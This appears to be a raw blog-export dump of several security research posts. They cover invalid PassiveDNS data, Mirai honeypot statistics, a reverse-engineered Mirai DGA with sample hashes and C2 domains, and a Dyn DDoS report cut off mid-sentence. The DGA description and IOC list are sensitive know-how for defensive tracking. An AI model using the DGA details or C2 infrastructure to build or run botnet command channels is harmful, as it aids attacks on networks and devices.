\n\n#NXDomain引起的虚假IP地址\nNXDomain的含义是指对于不存在的域名，DNS系统能够返回确定的IP地址。但如果继续访问的话，这些IP地址呈现的内容往往和你想要的又完全不同。其实上一节的sinkhole也是这种情况当中的一种，只是sinkhole在安全研究方面比较特殊，我们把它单独列了出来。\n\n造成NXdomain有确定IP映射的原因其实不尽相同，我们列举几种比较常见的情况。\n##运营商的问题\n运营商针对不存在的域名，返回自己控制的IP以达到导流的目的，这种现象我们司空见惯。并且这种行为并不仅仅发生在国内，在全世界各地都存在这种“劫持”行为。以至于Google的chrome浏览器（以及基于chrome内核的其他浏览器）在启动的时候要[发送随机DNS查询](https://mikewest.org/2012/02/chrome-connects-to-three-random-domains-at-startup)对这种“劫持”行为进行探测以免干扰浏览器的正常工作。\n\n在实际网络环境中，大量的恶意软件会产生无效域名请求，比如未被sinkhole或者sinkhole不完全的DGA域名等。另外各种扫描器以及形如散列前缀攻击的攻击行为都会产生大量的无效域名请求。\n\n如果不加筛选将这种IP列入分析结果，输出为IP黑名单。尽管实际用户使用可能危害并不明显，但是准确度却打了折扣。尤其是在涉及到僵尸网络的C&C分析的时候，会对分析结果造成很大的挑战。\n##DNS resolver的问题\n也许是为了避免被运营商劫持，大量用户开始使用公开的非运营商的open resolver作为自己的DNS服务器。而现在越来越多的DNS服务器提供安全服务，而这种安全服务从技术上来看，与运营商劫持的手法相同。即它们会将其认为存在安全隐患的域名返回为一个其控制的IP地址。页面内容一般是比较显著的安全提示信息。\n典型的例子是OpenDNS。其提供安全服务的一个IP地址为146.112.61.105。\n\n同运营商的问题类似，将这类IP地址输出为IP黑名单，对实际用户并不会有太大的影响（其实会干扰这些DNS resolver的功能完整性），但是对所分析问题的准确度有影响。根据我们对PassiveDNS数据的分析，这类IP的数量不在少数。\n\n##注册商的问题\n如果说前两种情况发生在DNS查询过程中靠近用户这一侧，是对查询结果的劫持。那么由注册商引起的虚假应答就属于“官方作假”了。\n\n从技术手段上来说，实现这种“官方作假”很简单，只需要把对应域名的[泛解析](https://en.wikipedia.org/wiki/Wildcard_DNS_record)开启即可。\n###顶级域（TLD）级别\n在我们的印象中，TLD的管理应该是合规慎重的。因此第一次了解到泛解析开在TLD级别上还是有些吃惊。\n现在发现至少ws、sy、ph这几个ccTLD是开启泛解析的。因此如果在分析域名时，发现TLD为这几个后缀的域名，还请留意一下是否为泛解析的IP地址。一个典型的例子银行木马是[dyre](http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf)的DGA域名有的是以ws作为TLD，显然它们都会有有效的解析地址，但并不是真正的C&C地址。\n\n随着ICANN开放TLD的注册，现在越来越多的TLD可供选择。也许为了利益的目的，在TLD上开放泛解析的行为也必然会越来越多。\n#特殊用途的IP\n##形如1.1.1.1/2.2.2.2/8.8.8.8/114.114.114.114等\n如果在PassiveDNS中以类似如上IP进行查询，能够发现大量的域名与这些IP存在对应关系。尽管这些IP中有些并不可达，比如1.1.1.1，2.2.2.2；有些则完全另有他用，比如8.8.8.8, 114.114.114.114都是知名的DNS resolver。\n\n造成这种对应关系的原因有多种：一种可能是管理员用于测试的配置，还有一种可能是某些DNS服务器在检测到攻击之后，对某些请求返回一些知名的地址。比如我们见到针对DNS的散列前缀攻击，有些DNS服务器对散列前缀的域名返回8.8.8.8以及8.8.4.4的情况。\n\n要说明的是第二种情况是必须禁止的，某些情况下，错误的返回会导致返回地址遭到大流量的DDoS攻击。这种情况在真实环境中出现过。\n##保留地址\n最常见的保留地址就是我们熟悉的私网地址：10.0.0.0/8，172.16.0.0/12，192.168.0.0/16。它们在PassiveDNS中作为rdata并不罕见。显然这是内网数据泄漏的典型，将内网的网络拓扑一览无余的对外暴露了。\n\n其他的保留地址也有出现，比如传统意义上的D类和E类地址，以及用于TEST-NET的保留地址等。\n完整的保留地址参见wiki的[保留地址列表](https://en.wikipedia.org/wiki/Reserved_IP_addresses)。\n\n同上一节的原因相同，造成这种问题的原因既有可能是配置错误，也有可能是一种安全防御手段。作为一种安全防御手段，尽管用保留地址在某种意义上来说比胡乱指向其它的有效IP更为保险，但是这种行为仍不建议。\n\n#结束语\n这篇文章简单的列举了几类无效rdata的情况。它们可能是造成黑名单不准确的一个因素。当然，还有很多其他的因素也有可能对rdata的准确度造成影响，比如国家防火墙造成的域名IP的映射混乱，比如虚拟主机提供商所造成数据准确度的偏差以及那些我们尚未认识到的原因造成的数据错误等等。这里我们无法对每种原因都进行详细的说明，但是在数据分析的过程中需要我们不断的对每种情况进行分析才有可能认清网络世界，同时才能够产生高质量的数据。\n\n文中提到的这些数据，[360网络安全研究院](http://netlab.360.com/)都有整理。任何想法都欢迎与我们交流。\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

29

post

2016-10-14T20:20:38.000Z

63873b9a8b1c1e0007f52ee8

a-quick-stats-on-the-608-083-mirai-ips-that-hit-our-honeypots-in-the-past-2-5-months

2018-10-06T08:55:30.000Z

public

published

2016-10-15T11:21:49.000Z

A quick stats on the 608,083 Mirai IPs that hit our honeypots in the past 2.5 months

<!--kg-card-begin: markdown--><p>Over the last few weeks Mirai, a DDoS botnet family which is believed to be responsible for the large attacks against Brian Krebs on September 13, 2016, has become a hot topic in security community. Previous investigations show that this malware mainly infects IoT devices, e.g., CCTV, and TCP ports of 23 and 2323, which are used for Telnet, are the main infection vector.<br> On September 30, Mirai’s source code was leaked, which gives us the chance to better understand how this family of botnet works. After a some exploration on the leaked source, a vulnerability was found in its scan module, which, together with the fact that Mirai only scans TCP ports of 23 and 2323, enables us to distinguish the Mira TCP SYN scans from other scanners by checking the SYN packet's header fields. The evaluation on our old dataset shows 608,083 uinique Mirai IPs have hit our honeypots since August 1, 2016. In this post, I will give a quick statistics on the checked Mira scans.<br> The first Mirai scan that came to us was on 2016-08-01 12:46:01 UTC+8, August 1, 2016. Till 23:59:59 UTC+8, October 13, 2016, totally 1,063,786 Mirai scans were checked. The daily stats can be shown in Figure 1.<br> <img src="__GHOST_URL__/content/images/2016/10/Daily-variations-of-Mirai-scans.png" alt="" loading="lazy"><br> <em>Figure 1, Daily variations of Mirai scans</em></p> <p>It seems that after a few fluctuations the Mirai botnets reached a plateau in mid-September and have remained that activeness status till now.<br> Further investigations show that those scans came from totally 608,083 unique IPs across 196 countries, as shown in Figure 2.<br> <img src="__GHOST_URL__/content/images/2016/10/Geo-locations-of-Mirai-bot-IPs.png" alt="" loading="lazy"><br> <em>Figure2, Geo-locations of Mirai IPs</em></p> <p>The top 10 countries/ASNs stats show that some Asian countries, including Vietnam, China, India, and Korea, have the largest number of Mirai bots.<br> <img src="__GHOST_URL__/content/images/2016/10/Top-10-countries-of-Mirai-bot-IPs.png" alt="" loading="lazy"><br> <em>Figure 3, Top 10 countries of Mirai bot IPs</em></p> <p><img src="__GHOST_URL__/content/images/2016/10/Top-10-ASNs-of-Mirai-bot-IPs.png" alt="" loading="lazy"><br> <em>Figure 4, Top 10 ASNs of Mirai bot IPs</em></p> <p>In the future we will still keep an eye on the progress of Mirai scans.</p> <p>Besides that, we have been able to extract couple of Mirai C2s (command and controller), and added them into our DDos botnet command tracking system, with that, we will hopefully be able to track the Mirai botnet attacks (target, attack type, attack instructions) in real time. Stay tuned for more update on this.</p> <!--kg-card-end: markdown-->

Over the last few weeks Mirai, a DDoS botnet family which is believed to be responsible for the large attacks against Brian Krebs on September 13, 2016, has become a hot topic in security community. Previous investigations show that this malware mainly infects IoT devices, e.g., CCTV, and TCP ports of 23 and 2323, which are used for Telnet, are the main infection vector. On September 30, Mirai’s source code was leaked, which gives us the chance to better understand how this family of botnet works. After a some exploration on the leaked source, a vulnerability was found in its scan module, which, together with the fact that Mirai only scans TCP ports of 23 and 2323, enables us to distinguish the Mira TCP SYN scans from other scanners by checking the SYN packet's header fields. The evaluation on our old dataset shows 608,083 uinique Mirai IPs have hit our honeypots since August 1, 2016. In this post, I will give a quick statistics on the checked Mira scans. The first Mirai scan that came to us was on 2016-08-01 12:46:01 UTC+8, August 1, 2016. Till 23:59:59 UTC+8, October 13, 2016, totally 1,063,786 Mirai scans were checked. The daily stats can be shown in Figure 1. Figure 1, Daily variations of Mirai scans It seems that after a few fluctuations the Mirai botnets reached a plateau in mid-September and have remained that activeness status till now. Further investigations show that those scans came from totally 608,083 unique IPs across 196 countries, as shown in Figure 2. Figure2, Geo-locations of Mirai IPs The top 10 countries/ASNs stats show that some Asian countries, including Vietnam, China, India, and Korea, have the largest number of Mirai bots. Figure 3, Top 10 countries of Mirai bot IPs Figure 4, Top 10 ASNs of Mirai bot IPs In the future we will still keep an eye on the progress of Mirai scans. Besides that, we have been able to extract couple of Mirai C2s (command and controller), and added them into our DDos botnet command tracking system, with that, we will hopefully be able to track the Mirai botnet attacks (target, attack type, attack instructions) in real time. Stay tuned for more update on this.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Over the last few weeks Mirai, a DDoS botnet family which is believed to be responsible for the large attacks against Brian Krebs on September 13, 2016, has become a hot topic in security community. Previous investigations show that this malware mainly infects IoT devices, e.g., CCTV, and TCP ports of 23 and 2323, which are used for Telnet, are the main infection vector.\nOn September 30, Mirai’s source code was leaked, which gives us the chance to better understand how this family of botnet works. After a some exploration on the leaked source, a vulnerability was found in its scan module, which, together with the fact that Mirai only scans TCP ports of 23 and 2323, enables us to distinguish the Mira TCP SYN scans from other scanners by checking the SYN packet's header fields. The evaluation on our old dataset shows 608,083 uinique Mirai IPs have hit our honeypots since August 1, 2016. In this post, I will give a quick statistics on the checked Mira scans. \nThe first Mirai scan that came to us was on 2016-08-01 12:46:01 UTC+8, August 1, 2016. Till 23:59:59 UTC+8, October 13, 2016, totally 1,063,786 Mirai scans were checked. The daily stats can be shown in Figure 1.\n\n*Figure 1, Daily variations of Mirai scans*\n\nIt seems that after a few fluctuations the Mirai botnets reached a plateau in mid-September and have remained that activeness status till now. \nFurther investigations show that those scans came from totally 608,083 unique IPs across 196 countries, as shown in Figure 2. \n\n*Figure2, Geo-locations of Mirai IPs*\n\nThe top 10 countries/ASNs stats show that some Asian countries, including Vietnam, China, India, and Korea, have the largest number of Mirai bots.\n\n*Figure 3, Top 10 countries of Mirai bot IPs*\n\n\n*Figure 4, Top 10 ASNs of Mirai bot IPs*\n\nIn the future we will still keep an eye on the progress of Mirai scans. \n\nBesides that, we have been able to extract couple of Mirai C2s (command and controller), and added them into our DDos botnet command tracking system, with that, we will hopefully be able to track the Mirai botnet attacks (target, attack type, attack instructions) in real time. Stay tuned for more update on this. "}]],"sections":[[10,0]],"ghostVersion":"3.0"}

30

post

2016-10-14T20:31:53.000Z

63873b9a8b1c1e0007f52ee9

new-mirai-variant-with-dga-chinese-version

2020-08-11T03:52:24.000Z

public

published

2016-12-12T04:10:57.000Z

Mirai 变种中的DGA

<!--kg-card-begin: markdown--><h3 id="">更新历史</h3> <p>2016-12-09 首次发布<br> 2016-12-12 更新图0，修正了我们DGA实现中一处TLD选择的错误</p> <h3 id="">概要</h3> <p>两个星期前，我们发现2个新的感染载体（也即TCP端口7547和5555变种）被用来传播MIRAI恶意软件。</p> <blockquote> <p>&lt;<a href="__GHOST_URL__/a-few-observations-of-the-new-mirai-variant-on-port-7547/">A Few Observations of The New Mirai Variant on Port 7547</a>&gt;</p> </blockquote> <p>我的同事Ye Genshen快速设置了一些蜜罐，并且很快取得收获：11月28日一天就捕获了11个样本。 迄今为止，我们的蜜罐已从6个托管服务器捕获了53个独立样本。</p> <p>在分析其中一个新样本时，我的同事Qu Wenji发现一些类似DGA的代码，并猜测变种中包含有DGA功能，这个猜测很快就从我们的沙箱数据中得到验证。详细的逆向工作显示，在通过TCP端口7547和5555分发的MIRAI样本中确实存在DGA特征。在本博客中，我将介绍我们的发现。简单来说，我们找到的DGA的属性总结如下：</p> <ol> <li>使用3个顶级域名：online/tech/support；</li> <li>L2域名固定长度12字符，每个字符从“a”到“z”中随机选择；</li> <li>域名仅由月、日和硬编码的种子字符串确定；</li> <li>每天只生成一个域名，因此最多存在365个 DGA域名；</li> <li>DGA域名仅在硬编码的C2域名无法解析时使用。</li> </ol> <p>通过逆向获取的DGA知识，我们在程序中重新实现了DGA，并用它来预测所有365个可能的域名。当进一步确认这些域名的注册信息时，我们发现其中部分域名已经被MIRAI作者注册，列表如下：</p> <p><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_registered_by_author-1.png" alt="" loading="lazy"></p> <div align="center">图0, 已经被注册的DGA域名</div> <p>值得一提的是，作者 [email protected]在更早时间已经注册了其他mirai C2域名：</p> <ul> <li>zugzwang.me email <a href="mailto:[email protected]">[email protected]</a></li> </ul> <h3 id="">样本和分析</h3> <p>本博客中用作说明的样本如下：<br> <font size="3"></p> <ul> <li><strong>MD5</strong>: bf136fb3b350a96fd1003b8557bb758a</li> <li><strong>SHA256</strong>: 971156ec3dca4fa5c53723863966ed165d546a184f3c8ded008b029fd59d6a5a</li> <li><strong>File type</strong>: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped<br> </font></li> </ul> <p>样品做了去符号处理但未加壳。根据以分析mirai样本经验，我们很快就确定了其主要模块。比较代码发现，resolv_cnc_addr函数的CFG（流程控制图）与先前发现的样本非常不同。 新版本的CFG如图1所示。<br> <img src="__GHOST_URL__/content/images/2016/12/mirai_dga_resolv_cnc_addr_cfg-1.png" alt="" loading="lazy"></p> <div align="center">图1, 新版本的resolv_cnc_addr 流程控制图</div> <p>在函数开始处，由于在样本中硬编码了多达3个C2域名，所以生成随机数以从第一和第二个C2域名中随机选择一个，如图2所示。<br> <img src="__GHOST_URL__/content/images/2016/12/mirai_dga_choose_1st_cnc-1.png" alt="" loading="lazy"></p> <div align="center">图2, resolv_cnc_addr 函数第一部分</div> <p>如果被选中的C2域名无法解析，则bot并不解析未选择的域名或第三域名，而是将根据当前日期判断是决定是否去执行DGA代码分支还是去解析第三个C2域名，如图3。<br> <img src="__GHOST_URL__/content/images/2016/12/mirai_dga_judge_dga-1.png" alt="" loading="lazy"></p> <div align="center">图3, 决定是否进入DGA 代码分支</div> <p>从上述代码片段我们可以看出，如果当前日期在11月1日和12月3日之间，将去解析第3个C2域名。否则将执行DGA代码分支。这可以理解为作者不希望DGA域名在12月4日之前被启用，这也恰好被前文提及首个被注册的mirai DGA域名对应于12月4日所映证。<br> DGA主函数名为dga_gen_domain。域名完全是基于种子数字和当前日期生成的。种子通过调用strtol（）从硬编码的十六进制格式字符串进行转换。看起来字符串“\x90\x91\x80\x90\x90\x91\x80\x90”是一个错误的配置，这会导致strtol（）总是返回0。<br> 代码中通过调用time（）和localtime（）的C库函数得到本地日期。但只有月和日被使用，如图4所示。<br> <img src="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part1-1-1.png" alt="" loading="lazy"></p> <div align="center">图4, dga_gen_domain 函数片段</div> <p>L2域名是通过反复执行图5所示的代码块来生成的。其长度由$ t5和$ t2确定，它们的值在图4中设置，从中我们可以确定L2域名长度是12。<br> <img src="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part2-1-1.png" alt="" loading="lazy"></p> <div align="center">图5, 生成L2域名的循环代码片段</div> TLD（Top Level Domain）由寄存器$S0中的残余值确定，如图6所示。 我们可以看到在这里使用了3个TLD。 <p><a href="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part3-1.png"><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part3-1.png" class="kg-image"/></a><div align="center">图6, 确定TLD 的代码分支</div></p> <h3 id="ioc">IOC</h3> <p>目前，DGA相关的特性存在于如下样本，所有这些DGA样本中的种子字符串和算法都完全相同：</p> <ul> <li>005241cf76d31673a752a76bb0ba7118</li> <li>05891dbabc42a36f33c30535f0931555</li> <li>0eb51d584712485300ad8e8126773941</li> <li>15b35cfff4129b26c0f07bd4be462ba0</li> <li>2da64ae2f8b1e8b75063760abfc94ecf</li> <li>41ba9f3d13ce33526da52407e2f0589d</li> <li>4a8145ae760385c1c000113a9ea00a3a</li> <li>551380681560849cee3de36329ba4ed3</li> <li>72bbfc1ff6621a278e16cfc91906109f</li> <li>73f4312cc6f5067e505bc54c3b02b569</li> <li>7d490eedc5b46aff00ffaaec7004e2a8</li> <li>863dcf82883c885b0686dce747dcf502</li> <li>bf136fb3b350a96fd1003b8557bb758a</li> <li>bf650d39eb603d92973052ca80a4fdda</li> <li>d89b1be09de36e326611a2abbedb8751</li> <li>dbd92b08cbff8455ff76c453ff704dc6</li> <li>eba670256b816e2d11f107f629d08494</li> </ul> <p>样本中的硬编码C2域名如下：</p> <ul> <li>zugzwang.me</li> <li>tr069.online</li> <li>tr069.tech</li> <li>tr069.support</li> </ul> <p>我们将密切关注DGA变种的后续变化，敬请关注后续更新。</p> <!--kg-card-end: markdown-->

更新历史 2016-12-09 首次发布 2016-12-12 更新图0，修正了我们DGA实现中一处TLD选择的错误 概要 两个星期前，我们发现2个新的感染载体（也即TCP端口7547和5555变种）被用来传播MIRAI恶意软件。 <A Few Observations of The New Mirai Variant on Port 7547> 我的同事Ye Genshen快速设置了一些蜜罐，并且很快取得收获：11月28日一天就捕获了11个样本。 迄今为止，我们的蜜罐已从6个托管服务器捕获了53个独立样本。 在分析其中一个新样本时，我的同事Qu Wenji发现一些类似DGA的代码，并猜测变种中包含有DGA功能，这个猜测很快就从我们的沙箱数据中得到验证。详细的逆向工作显示，在通过TCP端口7547和5555分发的MIRAI样本中确实存在DGA特征。在本博客中，我将介绍我们的发现。简单来说，我们找到的DGA的属性总结如下： 1. 使用3个顶级域名：online/tech/support； 2. L2域名固定长度12字符，每个字符从“a”到“z”中随机选择； 3. 域名仅由月、日和硬编码的种子字符串确定； 4. 每天只生成一个域名，因此最多存在365个 DGA域名； 5. DGA域名仅在硬编码的C2域名无法解析时使用。 通过逆向获取的DGA知识，我们在程序中重新实现了DGA，并用它来预测所有365个可能的域名。当进一步确认这些域名的注册信息时，我们发现其中部分域名已经被MIRAI作者注册，列表如下： 图0, 已经被注册的DGA域名 值得一提的是，作者 [email protected]在更早时间已经注册了其他mirai C2域名： * zugzwang.me email [email protected] 样本和分析 本博客中用作说明的样本如下： * MD5: bf136fb3b350a96fd1003b8557bb758a * SHA256: 971156ec3dca4fa5c53723863966ed165d546a184f3c8ded008b029fd59d6a5a * File type: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped 样品做了去符号处理但未加壳。根据以分析mirai样本经验，我们很快就确定了其主要模块。比较代码发现，resolv_cnc_addr函数的CFG（流程控制图）与先前发现的样本非常不同。 新版本的CFG如图1所示。 图1, 新版本的resolv_cnc_addr 流程控制图 在函数开始处，由于在样本中硬编码了多达3个C2域名，所以生成随机数以从第一和第二个C2域名中随机选择一个，如图2所示。 图2, resolv_cnc_addr 函数第一部分 如果被选中的C2域名无法解析，则bot并不解析未选择的域名或第三域名，而是将根据当前日期判断是决定是否去执行DGA代码分支还是去解析第三个C2域名，如图3。 图3, 决定是否进入DGA 代码分支 从上述代码片段我们可以看出，如果当前日期在11月1日和12月3日之间，将去解析第3个C2域名。否则将执行DGA代码分支。这可以理解为作者不希望DGA域名在12月4日之前被启用，这也恰好被前文提及首个被注册的mirai DGA域名对应于12月4日所映证。 DGA主函数名为dga_gen_domain。域名完全是基于种子数字和当前日期生成的。种子通过调用strtol（）从硬编码的十六进制格式字符串进行转换。看起来字符串“\x90\x91\x80\x90\x90\x91\x80\x90”是一个错误的配置，这会导致strtol（）总是返回0。 代码中通过调用time（）和localtime（）的C库函数得到本地日期。但只有月和日被使用，如图4所示。 图4, dga_gen_domain 函数片段 L2域名是通过反复执行图5所示的代码块来生成的。其长度由$ t5和$ t2确定，它们的值在图4中设置，从中我们可以确定L2域名长度是12。 图5, 生成L2域名的循环代码片段 TLD（Top Level Domain）由寄存器$S0中的残余值确定，如图6所示。 我们可以看到在这里使用了3个TLD。 图6, 确定TLD 的代码分支 IOC 目前，DGA相关的特性存在于如下样本，所有这些DGA样本中的种子字符串和算法都完全相同： * 005241cf76d31673a752a76bb0ba7118 * 05891dbabc42a36f33c30535f0931555 * 0eb51d584712485300ad8e8126773941 * 15b35cfff4129b26c0f07bd4be462ba0 * 2da64ae2f8b1e8b75063760abfc94ecf * 41ba9f3d13ce33526da52407e2f0589d * 4a8145ae760385c1c000113a9ea00a3a * 551380681560849cee3de36329ba4ed3 * 72bbfc1ff6621a278e16cfc91906109f * 73f4312cc6f5067e505bc54c3b02b569 * 7d490eedc5b46aff00ffaaec7004e2a8 * 863dcf82883c885b0686dce747dcf502 * bf136fb3b350a96fd1003b8557bb758a * bf650d39eb603d92973052ca80a4fdda * d89b1be09de36e326611a2abbedb8751 * dbd92b08cbff8455ff76c453ff704dc6 * eba670256b816e2d11f107f629d08494 样本中的硬编码C2域名如下： * zugzwang.me * tr069.online * tr069.tech * tr069.support 我们将密切关注DGA变种的后续变化，敬请关注后续更新。

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"### 更新历史\n2016-12-09 首次发布\n2016-12-12 更新图0，修正了我们DGA实现中一处TLD选择的错误\n\n###概要\n\n两个星期前，我们发现2个新的感染载体（也即TCP端口7547和5555变种）被用来传播MIRAI恶意软件。\n\n> <[A Few Observations of The New Mirai Variant on Port 7547](__GHOST_URL__/a-few-observations-of-the-new-mirai-variant-on-port-7547/)>\n\n我的同事Ye Genshen快速设置了一些蜜罐，并且很快取得收获：11月28日一天就捕获了11个样本。 迄今为止，我们的蜜罐已从6个托管服务器捕获了53个独立样本。\n\n在分析其中一个新样本时，我的同事Qu Wenji发现一些类似DGA的代码，并猜测变种中包含有DGA功能，这个猜测很快就从我们的沙箱数据中得到验证。详细的逆向工作显示，在通过TCP端口7547和5555分发的MIRAI样本中确实存在DGA特征。在本博客中，我将介绍我们的发现。简单来说，我们找到的DGA的属性总结如下：\n\n1. 使用3个顶级域名：online/tech/support；\n2. L2域名固定长度12字符，每个字符从“a”到“z”中随机选择；\n3. 域名仅由月、日和硬编码的种子字符串确定；\n4. 每天只生成一个域名，因此最多存在365个 DGA域名；\n5. DGA域名仅在硬编码的C2域名无法解析时使用。\n\n通过逆向获取的DGA知识，我们在程序中重新实现了DGA，并用它来预测所有365个可能的域名。当进一步确认这些域名的注册信息时，我们发现其中部分域名已经被MIRAI作者注册，列表如下：\n\n\n\n<div align=\"center\">图0, 已经被注册的DGA域名</div>\n\n值得一提的是，作者 [email protected]在更早时间已经注册了其他mirai C2域名：\n\n* zugzwang.me email [email protected]\n\n###样本和分析\n\n\n本博客中用作说明的样本如下：\n<font size=\"3\">\n* **MD5**: bf136fb3b350a96fd1003b8557bb758a \n* **SHA256**: 971156ec3dca4fa5c53723863966ed165d546a184f3c8ded008b029fd59d6a5a \n* **File type**: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped \n</font>\n\n样品做了去符号处理但未加壳。根据以分析mirai样本经验，我们很快就确定了其主要模块。比较代码发现，resolv_cnc_addr函数的CFG（流程控制图）与先前发现的样本非常不同。 新版本的CFG如图1所示。\n\n<div align=\"center\">图1, 新版本的resolv_cnc_addr 流程控制图</div>\n\n在函数开始处，由于在样本中硬编码了多达3个C2域名，所以生成随机数以从第一和第二个C2域名中随机选择一个，如图2所示。\n\n<div align=\"center\">图2, resolv_cnc_addr 函数第一部分</div>\n\n如果被选中的C2域名无法解析，则bot并不解析未选择的域名或第三域名，而是将根据当前日期判断是决定是否去执行DGA代码分支还是去解析第三个C2域名，如图3。\n\n<div align=\"center\">图3, 决定是否进入DGA 代码分支</div>\n\n从上述代码片段我们可以看出，如果当前日期在11月1日和12月3日之间，将去解析第3个C2域名。否则将执行DGA代码分支。这可以理解为作者不希望DGA域名在12月4日之前被启用，这也恰好被前文提及首个被注册的mirai DGA域名对应于12月4日所映证。\nDGA主函数名为dga_gen_domain。域名完全是基于种子数字和当前日期生成的。种子通过调用strtol（）从硬编码的十六进制格式字符串进行转换。看起来字符串“\\x90\\x91\\x80\\x90\\x90\\x91\\x80\\x90”是一个错误的配置，这会导致strtol（）总是返回0。\n代码中通过调用time（）和localtime（）的C库函数得到本地日期。但只有月和日被使用，如图4所示。\n\n<div align=\"center\">图4, dga_gen_domain 函数片段</div>\n\nL2域名是通过反复执行图5所示的代码块来生成的。其长度由$ t5和$ t2确定，它们的值在图4中设置，从中我们可以确定L2域名长度是12。\n\n<div align=\"center\">图5, 生成L2域名的循环代码片段</div>\nTLD（Top Level Domain）由寄存器$S0中的残余值确定，如图6所示。 我们可以看到在这里使用了3个TLD。\n\n<a href=\"__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part3-1.png\"><img src=\"__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part3-1.png\" class=\"kg-image\"/></a><div align=\"center\">图6, 确定TLD 的代码分支</div>\n\n###IOC\n目前，DGA相关的特性存在于如下样本，所有这些DGA样本中的种子字符串和算法都完全相同：\n\n* 005241cf76d31673a752a76bb0ba7118 \n* 05891dbabc42a36f33c30535f0931555 \n* 0eb51d584712485300ad8e8126773941 \n* 15b35cfff4129b26c0f07bd4be462ba0 \n* 2da64ae2f8b1e8b75063760abfc94ecf \n* 41ba9f3d13ce33526da52407e2f0589d \n* 4a8145ae760385c1c000113a9ea00a3a \n* 551380681560849cee3de36329ba4ed3 \n* 72bbfc1ff6621a278e16cfc91906109f \n* 73f4312cc6f5067e505bc54c3b02b569 \n* 7d490eedc5b46aff00ffaaec7004e2a8 \n* 863dcf82883c885b0686dce747dcf502 \n* bf136fb3b350a96fd1003b8557bb758a \n* bf650d39eb603d92973052ca80a4fdda \n* d89b1be09de36e326611a2abbedb8751 \n* dbd92b08cbff8455ff76c453ff704dc6 \n* eba670256b816e2d11f107f629d08494 \n\n样本中的硬编码C2域名如下：\n\n* zugzwang.me \n* tr069.online \n* tr069.tech \n* tr069.support\n\n\n我们将密切关注DGA变种的后续变化，敬请关注后续更新。\n"}]],"markups":[],"sections":[[10,0]],"ghostVersion":"3.0"}

31

post

2016-10-23T13:43:56.000Z

63873b9a8b1c1e0007f52eea

a-dyn-twitter-ddos-event-report-and-mirai-botnet-review

2018-10-06T08:55:47.000Z

public

published

2016-10-23T14:21:21.000Z

关于 dyn / twitter 受攻击情况的说明和 mirai 僵尸网络的回顾

<!--kg-card-begin: markdown--><p>【更新记录】</p> <p>2016-10-23 初始版本<br> 2016-10-27 获得了少量攻击现场数据，分析结果与之前观点吻合一致。</p> <p>北京时间2016年10月21 日晚间，北美地区大量反馈若干重要的互联网网站无法正常访问。涉及到的网站包括 twitter， paypal，github等等，由于这些网站与北美地区日常生活强烈相关，这次网络故障被北美主要媒体广泛报道，也引起了安全社区的强烈关注。我们与国外安全社区一起协同，对本次网络事件提供数据、加以分析并做了溯源跟踪。</p> <p>目前我们已经能够确定本次事件是一次DDoS网络攻击事件，攻击目标主要是Dynamic Network Services（dyn）公司，twitter、paypal、github等网站作为dyn公司的客户，在本次攻击中不幸被波及。<br> 在攻击持续溯源的过程中，虽然目前Flashpoint公司已经确认最近广泛受关注的mirai僵尸网络参与了本次网络攻击，但是我们倾向认为虽然mirai贡献了本次攻击的部分攻击流量，但并非所有的攻击流量都来自原始泄漏版本mirai。具体来源不明，可能是源自我们数据地缘性导致的分析误差，也可能是来自mirai的变种或者混合模式的DDoS攻击。</p> <p>2016年10月27日更新：在安全社区的帮助下，我们获得了少量攻击现场的数据，证实了之前分析中的若干观点：攻击手段中包含 syn flood，真实源IP，小包，这些真实 bot IP 在我们到今天为止的bot IP 列表中命中率大约33%；攻击手段中包含dns flood，使用伪造源IP，可以断定这部分攻击不是有mirai发起，至少不是泄漏版本mirai发起。所有这些现象与我们之前的观点吻合一致。</p> <p>【攻击受害者的判定和影响范围的评估】</p> <p>接到反馈后，我们很快认定攻击受害者是twitter.com使用的域名服务器，而非 twitter.com paypal.com 的Web服务器直接遭受攻击。</p> <p>dyn公司是知名的网络域名服务提供商，本次攻击中受影响的twitter等多个著名公司都是dyn公司的客户。Dyn公司使用了四个域名/IP为twitter提供域名解析服务，这四个IP分布在四个C类段或者两个B类段中，传统上这是一种常见的网络负载均衡手段。四个IP地址如下表所示。</p> <p><img src="__GHOST_URL__/content/images/2016/10/table_01_direct_victim.png" alt="" loading="lazy"></p> <p>在本次事件中，四个IP地址在当天19：00～22：50期间的网络流量波形图如下。峰值达到日常背景流量的20倍，可以判定发生了流量攻击。<br> <img src="__GHOST_URL__/content/images/2016/10/01_direct_target_flow_chart.png" alt="" loading="lazy"></p> <p>在我们数据基础上进一步的分析指出，攻击者的攻击手段是混合使用DNS_flood和 syn_flood，结合公开媒体的报道，我们推断这组攻击得手，这组服务器不再对外提供服务，twitter.com 网站在这段时间内也无法访问。以上是攻击的直接受害者。<br> <img src="__GHOST_URL__/content/images/2016/10/table_02_ddos_vector.png" alt="" loading="lazy"></p> <p>但是除了twitter还有大量网站例如 paypal.com 和 github.com也无法访问，我们推断这是由于上述攻击造成的波及效应。如下表所示，paypal和github也是DYN的客户。</p> <p><img src="__GHOST_URL__/content/images/2016/10/table_03_sympathatic_victim.png" alt="" loading="lazy"></p> <p>dyn为每个重要客户提供四组地址，分布在四个C类段中，如前所述，这是一种传统的网络负载均衡手段。但是在这个结构中，如果四个网段同时遭到大流量的网络攻击，则全部四个段的客户都会受到影响。</p> <p>我们认为在本次事件中就发生了这种情况，大流量针对 <em>.34/twitter的攻击影响到了同网段不限于 <em>.15/github、</em>.57/paypal服务器的网络流量，最终 github/paypal和twitter一同暂时无法访问。不仅是以上列出的三家网站，其他该网段的客户也会受到影响，比如</em>.5/playstation.net；而如果一个网站不使用dyn的域名解析服务则不会受到影响，比如 wikileak。</p> <p>在我们的分析中，我们也注意到 github.com 